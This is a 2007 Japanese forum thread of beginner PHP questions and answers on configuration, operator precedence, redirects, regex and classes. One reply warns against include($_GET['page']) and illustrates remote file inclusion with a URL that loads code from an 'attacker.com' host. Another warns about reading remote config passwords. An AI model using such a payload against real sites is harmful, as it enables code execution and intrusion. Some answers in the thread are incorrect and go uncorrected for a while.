2007/10/26(金) 23:58:01ID:4lZO192k0318nobodyさん
2007/10/27(土) 00:02:37ID:???見えないんだけど、どうしたんだろう?
0319nobodyさん
2007/10/27(土) 00:06:27ID:???きちんと設定できているなら、再起動してないとかが原因だと思われる。
最初は難しいが一年くらい根気よく勉強すれば大概の人は出来るようになるから
あきらめずがんがれ
0321nobodyさん
2007/10/27(土) 00:12:26ID:???0322nobodyさん
2007/10/27(土) 00:18:45ID:???あなたみたいな人のためにオールインワンのXAMPPが提供されてるのでそれを使用しましょう。
まずインストール済みのApacheとPHPをアンインストール後入れるといいでしょう。
configファイルはとくにいじらず、すぐに使える環境が構築されます。
ところでhttpd.iniじゃなくてconfが正しい拡張子です。
0323nobodyさん
2007/10/27(土) 00:20:05ID:???なんだその超後ろ向き思考は。
0324nobodyさん
2007/10/27(土) 00:28:22ID:???拡張子で何か変わると思ってる奴は勉強しる
0325nobodyさん
2007/10/27(土) 00:52:29ID:???0326nobodyさん
2007/10/27(土) 01:05:49ID:???0328nobodyさん
2007/10/27(土) 01:18:27ID:???0329nobodyさん
2007/10/27(土) 01:32:45ID:???0330nobodyさん
2007/10/27(土) 01:41:47ID:???ちゃっかりPHPで仕込んでダウンロードカウント数は図ってる俺が着ましたよ
0331nobodyさん
2007/10/27(土) 02:14:14ID:???0332nobodyさん
2007/10/27(土) 02:18:56ID:???ttp://grin.flagbind.jp/archives/2004/12/phpxpoweredby.html
0333nobodyさん
2007/10/27(土) 02:33:35ID:???なんでもよくねーよ
デフォルトファイルがhttpd.conf-distで
confにリネームするように推奨してるのに
わざわざ他の拡張子つけるようなひねくれものイクネイ
0334nobodyさん
2007/10/27(土) 02:58:23ID:???まあ俺が一番馬鹿なんだけどね。
0336nobodyさん
2007/10/27(土) 03:36:02ID:???0337nobodyさん
2007/10/27(土) 03:56:38ID:???0339nobodyさん
2007/10/27(土) 07:25:46ID:???オススメの本ある?
0344nobodyさん
2007/10/27(土) 10:44:13ID:???0347nobodyさん
2007/10/27(土) 14:48:54ID:???っていうか、その本俺も持っているけど、
別に大した内容じゃないよ。phpで1年位仕事していたら、誰でも知っているような内容。
それより、SE社が出している赤い分厚い翻訳本の方が専門的で役に立った。
0349nobodyさん
2007/10/27(土) 15:37:44ID:kzNSIsdTphp5徹底攻略という本に書いてあったのですが、
if(!file_exists(DB))
die(DB. " が見つかりません¥n");
$db = sqlite_open(DB) or die(DB. "がオープンできません¥n");
のorって何なのでしょうか?
0350nobodyさん
2007/10/27(土) 15:38:32ID:???0351nobodyさん
2007/10/27(土) 15:39:30ID:???0353349
2007/10/27(土) 15:46:35ID:kzNSIsdTああ、成る程。
これはいい勉強になったっす。
こんなorの使い方初めて見た!
0355nobodyさん
2007/10/27(土) 16:39:48ID:???0357nobodyさん
2007/10/27(土) 18:11:22ID:???俺が知らなかっただけですか、そうですか
0358nobodyさん
2007/10/27(土) 18:16:56ID:???0359nobodyさん
2007/10/27(土) 18:27:15ID:???0360nobodyさん
2007/10/27(土) 18:48:22ID:DF6PJ+rw/search/%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3
/search.php/%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3 でも正常に表示される
検索押すと上のように表示されるURLを
/search/?s=%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3
に書き換えてアクセスすると上記のURLに変換されます。
mod_rewrite + ?s=ぽいものがURLに含まれる場合は一旦弾いて加工後のURLに飛ばして帰ってこさせてる?
この対策って一般的どういった点で効果があるんでしょうか。
見た目の問題だけ?
0361nobodyさん
2007/10/27(土) 18:56:58ID:???PATH_INFO
SEO
キャッシュとか
0362nobodyさん
2007/10/27(土) 18:57:14ID:???それ以外では珍しい使い方じゃない?
0363nobodyさん
2007/10/27(土) 18:58:52ID:???自分としてはセキュリティに配慮したサイト構築の本がほしいな
まあセキュリティやサイト構築関係は大体アマゾンで叩かれてるよなw
0364360
2007/10/27(土) 19:14:29ID:???mod_rewrite = SEOはわかるんだけど、わざわざ
/search/?s=%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3
を一旦弾いて飛ばしたりするところ、なんか意味あるのかなー?と思ったので
ありがとうございました!
0365nobodyさん
2007/10/27(土) 19:45:19ID:???0367nobodyさん
2007/10/27(土) 20:05:29ID:???0368nobodyさん
2007/10/27(土) 20:08:31ID:???0369nobodyさん
2007/10/27(土) 20:14:42ID:???>俺が知らなかっただけですか
この人もそうだが、それ以前に一般常識というレスがあるわけだろう?
聞き返すまでもなく「俺が知らなかった」だけに決まってる
どうも話が通じないというか、要領を得ないというか
言いたいことがあるなら、素直に言えばいいのではないか?
0370nobodyさん
2007/10/27(土) 20:23:39ID:???俺は本人じゃないけど言わせてもらう。
>この人もそうだが、それ以前に一般常識というレスがあるわけだろう?
>聞き返すまでもなく「俺が知らなかった」だけに決まってる
一般常識と思ってないから言ってるんだろwww
0372nobodyさん
2007/10/27(土) 20:25:18ID:???"常識"なんて言葉を持ち出す奴は頭が堅くて意固地というのが定石だが
こいつは正に典型的なタイプだな。
0374nobodyさん
2007/10/27(土) 20:28:58ID:???0376nobodyさん
2007/10/27(土) 20:31:11ID:???0377nobodyさん
2007/10/27(土) 20:34:21ID:???知らなければ演算子の優先順位はマスターしておけよ
これを知らずにプログラミングというのはありえない話だ
0379nobodyさん
2007/10/27(土) 20:36:48ID:???俺は知らない、ていうか優先順位があやふやになりそうだったらカッコをつける
0381nobodyさん
2007/10/27(土) 20:44:09ID:???サンプルではよく見かけるんだけど、
die()とか使わないから、ああいうorの使いかたをしたことがない
エラーが起きたとき、ログを取ってエラーページに回すから俺もifだな
0383nobodyさん
2007/10/27(土) 20:48:14ID:???0384nobodyさん
2007/10/27(土) 20:49:56ID:???意味的にもあそこでorが出るのは変だから
0386nobodyさん
2007/10/27(土) 21:00:02ID:euGofwdi0387nobodyさん
2007/10/27(土) 21:02:08ID:???演算子の優先順位を利用したプログラミングがどうかと思うよ
使うのはごく少数のイディオムだけじゃないの
0388nobodyさん
2007/10/27(土) 21:03:20ID:???つかまともにPHPを3ヶ月もやってれば
必ずお目にかかる表現だろ。人のスクリプトなりコード解説サイトなり公式マニュアルなりで。
俺は原則としてZendのコーディング規約に則ってるから使わんが。
0389nobodyさん
2007/10/27(土) 21:13:13ID:???例文すら記載されていないが、eixt() を見ると or を使った例文が
記載されている。
まぁ、PHPでのプログラミングにおいては一般常識の範疇なのだろうけど
他言語においてはこの様な凡例は見かけないからピンとこねえや
0390nobodyさん
2007/10/27(土) 21:13:25ID:???演算子の順番なんていちいち覚えてられるかー
>>349 のようなのは、たしかにたまに見ることある
まぁ、なんとなくやってることはわかる。
なぜ or でそうなるのかは、>>352 の説明見て始めてわかったよ>if派な俺
0391nobodyさん
2007/10/27(土) 21:14:07ID:???初心者向きの手引きには必ずあるからみんな知ってる
知ってるのに誰もつかなわない不思議なor
0392nobodyさん
2007/10/27(土) 21:19:28ID:???0393nobodyさん
2007/10/27(土) 21:19:51ID:???結論としてPHPオンリーなプログラマはPHPの世界から出てくんなってことだ
0394nobodyさん
2007/10/27(土) 21:22:16ID:???0395nobodyさん
2007/10/27(土) 21:22:36ID:???0396nobodyさん
2007/10/27(土) 21:23:42ID:???のコードがあります。
URLの欄にhttp://localhost/bbs.php?page=http://example/test.php?&name=hoge
と打ち込むとhttp://〜test.phpのところまで意味が分かりますが、どうして?&
を付けているのか分かりません。普通は、.phpの後に?name=hoge&id=123に繋げれば
いいのは分かるのですが、どうして?&を付けるのでしょうか?
0397nobodyさん
2007/10/27(土) 21:25:56ID:???0398nobodyさん
2007/10/27(土) 21:27:04ID:???つーか分かってるかも知れんが、$page = $_GET["page"]; inculde("$page"); なんて
すげーセキュリティホールだから止めてね
0399nobodyさん
2007/10/27(土) 21:29:01ID:???覚えなくてもたいがい期待したとおりの優先順位だよ
グループごとで把握しとけばいい
and or xor と || && が両方ある意味はいまさら言うまでもないだろうけど
0400nobodyさん
2007/10/27(土) 21:30:14ID:???リダイレクトか何かのプログラムなんだろ
http://example/test.php?&name=hoge
はほかのページのアドレスで、それを取得してそこに飛ばすとか
0401nobodyさん
2007/10/27(土) 21:31:56ID:???始めて1ヶ月もしないうちにサンプルプログラムで何度も見たが気にしなかった
実際にはサンプル以外では使えないから
>>350を見て気がついたので>>352を書いた
0403nobodyさん
2007/10/27(土) 21:34:42ID:???||の左右ごときに死ぬほど拘るw
0409nobodyさん
2007/10/27(土) 21:39:52ID:???phpでURLをどう解釈して処理しているのかよく分からないのです。
?から&までを$_GETで取得できるってことですよね?
$page = "http://example/test.php?";
になると?が余分についててtest.phpが読み込めないかなぁと思って理解できません。
0410nobodyさん
2007/10/27(土) 21:40:05ID:???if(($a=foo())==false) {
0418nobodyさん
2007/10/27(土) 21:48:06ID:???if内で代入は無いわ
ただ ! より == false 使いたくなることはある
rubyのunlessも嫌い
0421nobodyさん
2007/10/27(土) 21:56:37ID:???PHPの権限で読める任意のファイルを読み込まされちゃう
PHPのバージョンとか設定によっては外部のPHPコードさえ実行される
http://target.com/target.php?page=http://www.attacker.com/hack.php → include($_GET["page"]);
昔某CMSが盛大にやらかしたよね
0423nobodyさん
2007/10/27(土) 22:02:24ID:???比較と代入が紛らわしかったり、==とまちがえて=としちゃうバグを防ぐためだとか。
0424409
2007/10/27(土) 22:04:44ID:???0426nobodyさん
2007/10/27(土) 22:08:32ID:???やっぱ代入文の右辺が評価式になってるっつうのは気持ち悪いというか肌に合わない
他にこういう構文で組める言語ってある?
0427nobodyさん
2007/10/27(土) 22:08:42ID:???0428nobodyさん
2007/10/27(土) 23:20:58ID:DskU7Uv6教えてください。
PHP4で携帯サイト造ってるんですが
<?php
if($_POST["send"]){
header('Location: b.php',true,307);
}
?>
<html>
<head>
<body>
<form name="form1" method="POST" action="a.php">
<input type="text">
<input type="submit" name="send">
</form>
</body>
</html>
って感じでa.phpからb.phpにリダイレクトしたいんですが
DOCOMOだと「指定されたURLは無効です」って言う
エラーが出てしまいます。
(AUだと問題なくリダイレクトできました)
何が悪くて如何解決すれば良いのか教えて頂けないでしょうか?
0429sage
2007/10/27(土) 23:21:55ID:DskU7Uv6下げ忘れました・・・
よろしくお願いします。
0430nobodyさん
2007/10/27(土) 23:22:25ID:???下げ間違えました・・・
0431nobodyさん
2007/10/28(日) 00:20:23ID:J8S2LPG/一般的な登録システムで、確認画面から記入ページに戻った時に
さっき入力していた文言がそのまま残ってるようにしたいんですが、
これは <input name="namae" value="<?php echo $_SESSION['namae']; ?>" type="text">
て風にするんでしょうか?
というか、普通にブラウザのバックボタンやキーボードのbackspaceでもどっても
記入されてる場合が最近は多い気がしますが、念のため上のような処理にしたほうが
いいのか、それとも気にしなくてもいいのか… その辺も含めて、
あれはどうやって実現してるのか教えてください。
環境はwinXP apache2 php5です
0432nobodyさん
2007/10/28(日) 00:22:49ID:???Locationが相対URLだからじゃないの?RFC的には絶対URLで指定するべきだし
あとPOSTのレスポンスで30xが来ても自動的にリダイレクト先をGETしないのが
正しいクライアントの動作だった気がする
個別の端末の動作は知らんので携帯スレでw
0433nobodyさん
2007/10/28(日) 01:00:17ID:???のオア
0434nobodyさん
2007/10/28(日) 01:04:03ID:???0437nobodyさん
2007/10/28(日) 01:35:29ID:???0439nobodyさん
2007/10/28(日) 01:46:48ID:???0440nobodyさん
2007/10/28(日) 04:10:25ID:???メソッドを実行したときに初めて読み込まれるのでしょうか?
それともオブジェクト生成した時点で読み込まれるのでしょうか?
0441nobodyさん
2007/10/28(日) 04:13:05ID:???06年 5月 05年度決算の赤字転落を公表
07年 2月 特定商取引法違反の疑いで経産省と東京都が立ち入り検査
4月 最高裁、解約精算方法に違法判断
6月 経産省が一部業務停止命令
10月 会社更生法の適用を申請
0442nobodyさん
2007/10/28(日) 04:14:16ID:???コンストラクタ内で return $var したらどうなるの?
0443nobodyさん
2007/10/28(日) 04:15:01ID:???0444nobodyさん
2007/10/28(日) 04:18:27ID:???オブジェクトを生成した時点でメモリ上に組み込まれる。
読み込み自体はもっと早く、ソース上で定義した時点で行われてるが
多分、そういう意味ではないんだよな?
0446nobodyさん
2007/10/28(日) 04:22:32ID:???0448nobodyさん
2007/10/28(日) 04:29:28ID:???0449nobodyさん
2007/10/28(日) 04:59:13ID:???コンストラクタで別に初期値設定しなくてもいいのに値を代入して、
おざなりのゲッタだのセッタだのして、
大げさにメゾlるどから値返すような人生に疑問を感じたんでしょ?w
0450nobodyさん
2007/10/28(日) 05:04:31ID:???returnなんてしようと普通思わないと思うんだけど
0451nobodyさん
2007/10/28(日) 05:04:59ID:???コンストラクタのロードタイミングも考慮せずに、
返り値の議論をしているから、それが片手落ちの低脳と申し上げたまで。
0456nobodyさん
2007/10/28(日) 05:21:22ID:???0457nobodyさん
2007/10/28(日) 06:25:49ID:???0458nobodyさん
2007/10/28(日) 09:03:29ID:???たぶん昨日から居座っている奴だから
相手にしないこと
0459nobodyさん
2007/10/28(日) 09:27:37ID:1rvp1hq4ありがとうございます。普通でいいとはどういうことですか?
valueにセッションの値を代入みたいな処理は不要と考えて良いんでしょうか?
つまらない質問かもしれないですが、回答お願いします
0460nobodyさん
2007/10/28(日) 09:46:50ID:MkUMoDKrttp://atamanote.blog48.fc2.com/blog-entry-47.html
ここで書かれているコードを、
$blogs = array_map( 'array_convEnc', XML_RPC_decode( $result->value() ) );
となっているところを、
foreach( XML_RPC_decode( $result->value() ) as $a ){
mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}
こう変えて、エラーをなくしたのですが、FC2は、タイトルがArrayになって、本文が無い状態になり、下書き状態で投稿され、
忍者ブログでは、投稿すらされません。
他にどこをいじれば、また、代替案などはあるのでしょうか?
忍者ブログは、BlogPet用のXML-RPCエンドポイントを使用しています。
ttp://www.ninja.co.jp/faq/a/169/
0461nobodyさん
2007/10/28(日) 09:53:37ID:???0462nobodyさん
2007/10/28(日) 10:03:47ID:???0463460
2007/10/28(日) 10:43:06ID:MkUMoDKrエラー見る限り、クラス内でコールバック関数は動かないのかと思って、
配列でちゃんと動くよう改良したのですが・・・
0464nobodyさん
2007/10/28(日) 10:56:12ID:???http://www.php.net/callback
http://www.php.net/array_map
http://www.php.net/mb_convert_encoding
http://www.php.net/froeach
0465nobodyさん
2007/10/28(日) 10:57:13ID:???0466460
2007/10/28(日) 11:43:40ID:MkUMoDKrどうしても、
The first argument, 'array_convEnc', should be either NULL or a valid callback
つまり、第一引数でarray_convEncが有効じゃないって、意味だと思うのですが、どういうことだかさっぱりです。
XML_RPC_decode( $result->value() )
で返される値は配列じゃないので、array_mapはなんかおかしい気がするのですが・・・
0467nobodyさん
2007/10/28(日) 12:00:49ID:???第一引数の問題だったらarray_convEnc()側の定義ミスかなんかだろ。
第二引数が配列かどうか以前。
つか、XML_RPC_decode()が配列を返さないんなら
foreach( XML_RPC_decode( $result->value() ) as $a ){
mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}
こっちだって正常に動かないじゃん。
言ってることとやってることがかみ合ってないぞ。
0468nobodyさん
2007/10/28(日) 12:21:23ID:MkUMoDKr>>466にはさっき気づいたんです。ちゃんと確かめてなかった。
一応、array_convEnc晒しておきます。
function array_convEnc($a){
if( is_array($a) ){ return array_map( 'array_convEnc', $a ); }
return mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}
一応、クラス内の関数でコールバックしてるので、どうなのかなと。
クラス外に関数化すると、
Argument #2 should be an array
第二引数が配列ではない、ってことなので、
call_user_func('array_convEnc', XML_RPC_decode( $result->value() ));
にしてみたところ、エラーは出なくなりました。
ただ、
>FC2は、タイトルがArrayになって、本文が無い状態になり、下書き状態で投稿され、
問題が解決してない・・・
0469nobodyさん
2007/10/28(日) 13:08:03ID:???いやあのさ、
The first argument, 'array_convEnc', should be either NULL or a valid callback
このエラーはarray_convEnc()なんて関数はどこにもねーよ!ってエラーであって
関数の中身なんて関係ないのよ。
お前のソースの書き方そのものがどっか間違ってる可能性が高いってこと。
0470nobodyさん
2007/10/28(日) 13:16:50ID:???> 第二引数が配列ではない、ってことなので、
> call_user_func('array_convEnc', XML_RPC_decode( $result->value() ));
> にしてみたところ、エラーは出なくなりました。
なんだそれ?
何でそんな修正をしようと思ったのか根拠を述べてみてくれよ。
エラーを出したくないだけで意味のないソースを書くなら、
1行も書かないのが1番早いんだぞ。
ようするにXML_RPC_decode()は入力も出力も配列じゃなくて、
$result->value()の結果は配列なんだろ。
だったら
$blogs = array_map( 'array_convEnc', $result->value() );
function array_convEnc($a){
if( is_array($a) ){ return array_map( 'array_convEnc', $a ); }
return XML_RPC_decode( mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] ) );
}
とするべきだろう。
つか、元々のコード自体がバグってるだけなんだから
blogの主にゴラァしろよ。
でなきゃ人のコードぱくらず自分で全部作れ。
0471470
2007/10/28(日) 13:18:51ID:???function array_convEnc($a){
if( is_array($a) ){ return array_map( 'array_convEnc', $a ); }
return mb_convert_encoding(
XML_RPC_decode($a), mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}
こうだな。
0472460
2007/10/28(日) 13:27:00ID:MkUMoDKr>>470
>何でそんな修正をしようと思ったのか根拠を述べてみてくれよ。
クラス内での関数が有効化されてないと思って、クラス外に置いただけです。
>でなきゃ人のコードぱくらず自分で全部作れ。
これに関してはまったく反論の余地がありません。
もう少し自分で練ってみます。
0473nobodyさん
2007/10/28(日) 13:36:22ID:???ttp://jp.php.net/manual/ja/language.pseudo-types.php#language.types.callback
0474nobodyさん
2007/10/28(日) 13:54:03ID:???嘘は言ってない
0475nobodyさん
2007/10/28(日) 14:03:16ID:???なんで他人の他人なんて縁遠いやつのコードをデバッグしてやらにゃならんのだ。
0476nobodyさん
2007/10/28(日) 14:06:38ID:ih5Shsjsphp5.2.3です。
文字数制限で文字数を超えたら書き込みできないように設定したいのですが
if(ereg("[A-Za-z0-9\+\/]{10,50}", $abc))
10〜50文字で書き込まないと書き込めないようにしてるのですが機能しません;;
よろしければどのように書いてやればいいのか教えて下さい。
0477nobodyさん
2007/10/28(日) 14:08:16ID:???mb_strlenでも使っとけ
0478nobodyさん
2007/10/28(日) 14:09:41ID:???if(ereg("[A-Za-z0-9\+\/]{10,50}", $abc))
↓
if(ereg("[(.*)]{10,50}", $abc))
もっとよさげなのがある気がする
0479nobodyさん
2007/10/28(日) 14:15:50ID:???0480nobodyさん
2007/10/28(日) 14:17:21ID:???0481nobodyさん
2007/10/28(日) 14:21:36ID:g2sP/S0Kどうやって使い分けたらいいですか?
どっちを使えばいいのか分かりません
0482nobodyさん
2007/10/28(日) 14:24:06ID:ih5Shsjsif(ereg("[(.*)]{10,50}", $abc)) こちらで確認できました。有難うございます!
preg_matchの方でやってみたいと思います。
本当に助かりましたm(_ _"m)ペコリ
親切にありがとうございます!(感謝しています)
0483nobodyさん
2007/10/28(日) 15:16:12ID:???いやそれ…ホントに機能してる?
確認方法間違ってね?
if(ereg("^.{10,50}$", $abc))
じゃなきゃダメだろ?
0484nobodyさん
2007/10/28(日) 15:55:57ID:ih5Shsjs確認しましたら50文字以上も記述されるようになってました。
>>483
こちらで教えてもらった方法でしたら
あいうえおなど半角記号英数字以外でも記述されるようになってしまっています・・・。
勉強してきます(汗
0485nobodyさん
2007/10/28(日) 15:59:56ID:ih5Shsjs>>483
愛してます!
0486nobodyさん
2007/10/28(日) 16:05:29ID:???0488nobodyさん
2007/10/28(日) 16:10:24ID:???0492nobodyさん
2007/10/28(日) 20:03:49ID:???サーバのPHPがSafeModeで動作しておりfopen()が使えません。
CGI版で動かす方法も試そうと思ったのですが、サーバが
モジュール版で動作しているためそれもできませんでした。
良い代替方法はありますか?
0494nobodyさん
2007/10/28(日) 21:54:36ID:B6O0ATcQWinBinder+Bamcompilerがついてる開発向けソフトなどまだないのでしょうか?
0497nobodyさん
2007/10/29(月) 01:01:20ID:???0498nobodyさん
2007/10/29(月) 01:11:02ID:???何が?
0499nobodyさん
2007/10/29(月) 02:16:49ID:/JLEVJSc教えて下さい。
やりたいことは最後に書き込みをした人の時間を取得して表示させたいんです。
$now = gmdate("Y/m/d H:i", time()+9*60*60); が時間を取得しています。
下記のように実行させて表示させたいのですが、どこか参考になるサイトなどないでしょうか?
<?php
$lastmod = date ("Y/m/d H:i:s", getlastmod());
echo "最終更新日: " . date ($lastmod);
?>
0501nobodyさん
2007/10/29(月) 02:27:27ID:???0503nobodyさん
2007/10/29(月) 03:31:02ID:LZFfsiWaリモート上にb.php(http://www.example.com/b.php)があります。
ローカルのa.phpからrequire_onceを使ってb.phpを実行するまでは出来たのですが、
b.phpでセットした値をa.phpで使用する方法が分からず悩んでいます。
呼び先のphpから呼び元のphpへデータを返す方法を教えていただけませんでしょうか。
宜しくお願いします。
0504nobodyさん
2007/10/29(月) 03:41:39ID:???それあんたの言う「リモート」って関係あるか?
require_onceでファイルだけ読込んであんたの言う「ローカル」で実行してるんだろ?
0506nobodyさん
2007/10/29(月) 03:45:56ID:???0507nobodyさん
2007/10/29(月) 03:48:54ID:???0508nobodyさん
2007/10/29(月) 03:53:30ID:???まず具体的に何をしたいのか、どんなプログラムを作りたいのか言ったほうが早いよ
ある所から値を取り出したいなら、XMLなりシリアライズなりCSVなりファイルをphpで生成したほうがいいんじゃない?
0509nobodyさん
2007/10/29(月) 03:55:34ID:???たとえば配布されているスクリプトを考えて欲しい。
掲示板にせよアップローダにせよ、管理者のパスワードを設定する項目があるだろう。
パスワードが格納される変数は通常変更しないし、ファイル名もそのまま使うだろう。
(もし変更した場合、関連箇所を全て修正しないといけない)
となると、配布されているスクリプトの場合、
パスワードが格納されている変数と、パスワードが記述されているファイル名は、
第三者でも容易にわかってしまうわけだ。
たとえばhttp://example.com/conf.phpがパスワードが記述されているファイル名として、
$passwordにパスワードが格納されているとすると、
ローカルから
require_once("http://example.com/conf.php");
echo $password;
なんてできたら大変なことになるだろう?ちょっと考えればわかるはずだ。
0510nobodyさん
2007/10/29(月) 04:09:41ID:LZFfsiWa深夜に色々とアドバイス頂きましてどうもありがとうございました。
私のやりたい事は、>>509さんのご指摘の通り、
で、b.php側で
function foo() {
$data = "";
return $data;
}
とやって、ローカル側のa.phpで$dataが取得できたら、と思っていました。
でも、確かに、よく考えればセキュリティー上許されないですね。すみません。
>>508のアドバイス通り、一回ファイルをサーバー側で生成して
それを見に行く方法しかないみたいです。
# 初めファイル経由でデータをサーバーから受け取ろうとしたのですが、
# 一つの変数を受け取るのに一時ファイルを作るに抵抗を感じいました。
# ソケット経由でデータを受け取る方法も考えたですが、それも大げさかなぁ、と思って安易に考えていました。
どうも、ありがとうございました。
0511508
2007/10/29(月) 04:17:56ID:???ちょ、呼び捨て?w
http://jp.php.net/manual/ja/function.include.php
ここ読むとincludeによる読み込みは出来るみたいだぞ
まぁ、値渡したいだけなら>>508とかの方法にしたほうがいいけど
0514nobodyさん
2007/10/29(月) 04:21:00ID:???0515nobodyさん
2007/10/29(月) 04:21:35ID:???0517nobodyさん
2007/10/29(月) 04:57:21ID:???俺505さんだが、すまん質問内容を間違えてたよ
これからは質問内容しっかりと理解して、最低2日間は考えてからレスするようにするよ
んじゃ、逝ってくるorz
0518nobodyさん
2007/10/29(月) 05:15:25ID:pKcinqWT0519nobodyさん
2007/10/29(月) 05:17:35ID:???0520nobodyさん
2007/10/29(月) 05:22:06ID:pKcinqWT商用でも十分耐えうる認証ライブラリありませんか?
0521nobodyさん
2007/10/29(月) 08:28:45ID:???広く利用されることでより洗練され堅牢になる品
0522nobodyさん
2007/10/29(月) 08:30:12ID:???インスタンスメソッドではなくクラスメソッドからstatic変数を参照するときに、各クラスごとに別の値を参照させることはできますか。
やりたいことは次のようなことです。
class ModelObject {
static $table = NULL;
function select() {
$t = self::$table;
var_export("select * from $t");
}
}
class Model1 extends ModelObject {
static $table = 'table1';
}
Model1::select();
exit(0); //=> 'select * from ' と表示されるが、'select * from table1' と出てほしい
これができないと、すべてのクラスメソッドをそれぞれのクラスで再定義しなければならず、あまりにもめんどくさいです。
0523nobodyさん
2007/10/29(月) 08:52:58ID:???0524nobodyさん
2007/10/29(月) 08:53:29ID:pKcinqWTありがとうございました
0525nobodyさん
2007/10/29(月) 11:27:12ID:???class ModelObject {
static $table = NULL;
function select($class) {
$vars = get_class_vars($class);
var_export("select * from ".$vars['table']);
}
}
class Model1 extends ModelObject {
static $table = 'table1';
}
Model1::select('Model1');
0526nobodyさん
2007/10/29(月) 12:34:56ID:???インスタンス化しちゃえばいけるかも
newじゃなくって、singletonにすればなおいいかも
0527nobodyさん
2007/10/29(月) 13:54:47ID:???今までPHPでプログラム作ってて、PHPの構文を入れる際には
<?php
〜〜
?>
で囲っていました。
今回フレームワークというのが面白そうだと思って勉強してみようと思い
Zend Framework入門っていう本を買いました。
ttp://www.zend.co.jp/products/book/book_zf.php
プログラムのサンプルを見て気が付いたのですが、どれもこれも
<?php
〜〜
で終わっており、「?>」で閉じてないんですよ。
実際にZend Frameworkをインストールしたディレクトリにあるphpファイルを
参照してみましたが、これらも同様に「?>」で閉じられていませんでした。
これってどういうことなんでしょうか?
「?>」を省くことができるってことなんでしょうか?
0528nobodyさん
2007/10/29(月) 13:58:51ID:???それって人に聞かなきゃ分からない話か?
それとも何でも人に聞かなきゃ物事を進めれない人?
「一年間トイレに行ってないのですがやはりトイレは行ったほうがいいでしょうか?」
こんなこととか聞く人かな?
0530nobodyさん
2007/10/29(月) 14:06:22ID:???宣伝じゃないよ!
>>528
どうして「?>」で閉じてないけど、どうしてこれでいいのか分からなかったんです。
私が知っているPHPは「?>」で閉じるものだ、って理解していましたが
こういう本を読んでみたら?>で閉じてないからどうしてかなと思ってですね。
トイレでもなんでも聞きますんで、教えてください。
0531nobodyさん
2007/10/29(月) 14:18:29ID:???省けるか省けないか
<? phpinfo();
としてみれば分かるだろう。
それともここの人にそれをやって俺様に報告しろってことか?
0532nobodyさん
2007/10/29(月) 14:19:41ID:???売れない本=わかりずらい本
0533nobodyさん
2007/10/29(月) 14:27:21ID:???0534nobodyさん
2007/10/29(月) 14:28:44ID:???そうでしたね。
すいませんです。
ありがとうございました。
>>532
まじで宣伝じゃないって!
でも?>を省くなんて、入門本としてはイクナイと思う。
普通は<?php 〜 ?>って書くもんね。
0535nobodyさん
2007/10/29(月) 14:29:00ID:???で検索するだけで、大量の情報を得られるだろ
んなことを、しれっと質問するから宣伝乙
っていわれるんだバカやロー
0536nobodyさん
2007/10/29(月) 14:34:36ID:???0537nobodyさん
2007/10/29(月) 14:37:11ID:???PHPってのはもともとHTMLがあって
その一部にPHPコードを埋め込むというもの。
つまり、
<html>
<?php 〜〜〜 ?>
</html>
とあったとき<?php 〜〜〜 ?>の外側の<html>、</html>が”出力”される。
もし<?php 〜〜〜 ?>の外側にスペース・改行があったとしたら・・・。
<?php の前にスペース・改行があったらすぐに気づくが、
?>の後にスペース・改行があっても気づかないもの。
その場合に余計な空白が出力されてしまうことになる。
これが問題ない場合もあるが、出力された文字をデータとして扱う場合に
問題が出ることもある。そのため?>を省いており、
また、省くことができる仕様になっている。
0538nobodyさん
2007/10/29(月) 14:38:19ID:???いや、その検索ワードはちょっと思いつかないよ。
タネを知ってたら思いつくだろうけど。
あと、スレタイが「くだらない質問〜」って書いてあるからいいかなと思ったんだけど。
それにしても?>を意図的に書かないって言うテクがあったんですね。
知らなかったヨ。
ってことは、あの本は良い本ってことで。
(宣伝じゃないよ)
0539nobodyさん
2007/10/29(月) 14:38:32ID:???0541nobodyさん
2007/10/29(月) 14:41:07ID:???0542nobodyさん
2007/10/29(月) 14:44:37ID:z+kol6j9マニュアル見ても同じような気がするんですが、違うものなんでしょうか?
0544nobodyさん
2007/10/29(月) 14:58:17ID:/8Ez3TkOautoExecuteのみ必要に応じてエスケープしてくれるのか・・・
普通にSELECTするときは自分でエスケープしないといけないんですね
0545nobodyさん
2007/10/29(月) 15:11:43ID:???素直にフレームワーク使ったほうが良い
0547nobodyさん
2007/10/29(月) 16:43:06ID:ugb+n0gS表示用エンコードは何ですか?
変数名で迷ってます
0548nobodyさん
2007/10/29(月) 16:51:06ID:???0549nobodyさん
2007/10/29(月) 17:04:51ID:???0550316
2007/10/29(月) 17:19:32ID:???×<? phpinfo(); ?>
○<?php phpinfo(); ?>
ttp://blog.codezine.jp/editor/2007/05/phpinfo.php
PHPのどこかのバージョンからか、変更になったようです。
0552628
2007/10/29(月) 17:42:19ID:???updateクエリーを実行結果を取得するのって
mysql_fetch_arrayとかmysql_data_seekとかで取得できないんですけど
取得できる関数ってありますか?
updateしてからselectクエリーを実行して結果を取得しないといけないんですか?
教えてください偉い人
0553552
2007/10/29(月) 17:44:42ID:???updateしたレコードを取得したいんです
0554nobodyさん
2007/10/29(月) 17:46:29ID:???>SELECT, SHOW, DESCRIBE や EXPLAIN 文、その他結果セットを返す文では、 mysql_query() は成功した場合に resource を返します。
0557552
2007/10/29(月) 17:50:49ID:???レコードをupdateでクエリーを送ってから、selectでクエリーを送って結果を取得するので?
あたま悪くてスマソ
0558nobodyさん
2007/10/29(月) 17:56:01ID:0Yij708sそれでOK
0559552
2007/10/29(月) 17:56:47ID:???面倒だな
ありがとうございます
0561nobodyさん
2007/10/29(月) 18:52:59ID:???0562nobodyさん
2007/10/29(月) 20:10:23ID:???<?php
$db = sqlite_open('zip.db');
?>
を実行すると
sqlite_open(): file is encrypted or is not a database
と出て実行できません。
どうすれば回避できるでしょうか?
0563nobodyさん
2007/10/29(月) 20:33:39ID:???0564nobodyさん
2007/10/29(月) 21:18:50ID:???精子を精製してチンコに返してやりたいのですが、
たまに不純物が混じるので精子のチェックをしたいです。
どのように書いたらいいでしょうか?
